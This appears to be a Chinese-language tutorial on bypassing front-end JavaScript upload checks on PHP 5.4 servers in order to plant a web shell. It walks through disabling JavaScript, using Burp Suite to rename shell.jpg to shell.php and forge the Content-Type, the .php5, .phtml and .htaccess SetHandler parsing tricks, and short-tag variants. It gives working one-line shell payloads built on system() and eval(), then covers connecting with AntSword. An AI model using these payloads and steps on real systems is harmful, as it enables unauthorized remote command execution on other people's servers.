PHP 5.4环境下绕过JS校验实现恶意上传,需禁用JS或抓包改包(如将shell.jpg改为shell.php并调整Content-Type),结合PHP 5.4解析特性(.php5/.phtml/.htaccess)及短标签支持,上传后确认路径并用蚁剑连接。

PHP 5.4 环境下绕过前端 JS 校验实现恶意上传,核心在于**绕过客户端限制、欺骗服务端解析、确保文件可执行**。JS 校验纯属前端行为,不参与后端逻辑,只要数据包能抵达服务端,就存在操作空间。
禁用 JavaScript 直接上传
这是最直接的方式:在 Chrome 或 Edge 浏览器中按 F12 → Settings → Debugger → 勾选 “Disable JavaScript”。刷新页面后,JS 校验函数失效,可直接选择 .php 文件上传。无需抓包,适合快速验证。
抓包改包绕过(推荐)
即使 JS 启用,只要上传请求发往服务端,就能用 Burp Suite 拦截并修改:
- 先将恶意 PHP 文件(如
<?php @system($_GET['a']);?>)重命名为允许的格式,例如 shell.jpg - 点击上传,用 Burp 拦截请求,在
filename=字段中把shell.jpg改为shell.php - 检查并同步修改
Content-Type字段(如改为image/jpeg,避免触发 MIME 检查) - 放行数据包,服务端收到的是合法命名但实际为 PHP 的文件
配合 PHP 5.4 特性提升执行成功率
PHP 5.4 默认搭配 Apache(尤其 phpStudy 2016 中的 Apache + PHP 5.4.45),需注意解析机制:
立即学习“PHP免费学习笔记(深入)”;
- Apache 默认将
.php3、.php5、.phtml等识别为 PHP 脚本;若目标站未严格过滤,可尝试上传 shell.php5 或 shell.phtml - 若靶场已禁用常见变体,可结合
.htaccess绕过:上传含以下内容的 .htaccess 文件,再上传一张伪装图(如 info.jpg),让服务器将其当作 PHP 解析:<filesmatch> SetHandler application/x-httpd-php </filesmatch> - PHP 5.4 支持短标签
=和 ASP 风格标签,若代码被过滤,可改用 <code>=@eval($_POST[x]);?>提高存活率
上传后访问与连接要点
成功上传不代表立即可执行,还需确认路径和解析环境:
- 上传成功后,响应中通常返回保存路径(如
upload/shell.php),或右键查看图片属性获取 URL - PHP 5.4 默认开启
short_open_tag = On,短标签可用;但需确认allow_url_include是否关闭(影响远程加载) - 用蚁剑连接时,URL 填入完整路径,密码字段对应 PHP 文件中 GET/POST 参数名(如
a或x) - 若提示 403 或 500,检查上传目录是否被 Nginx/Apache 配置了
deny all或php_flag engine off



















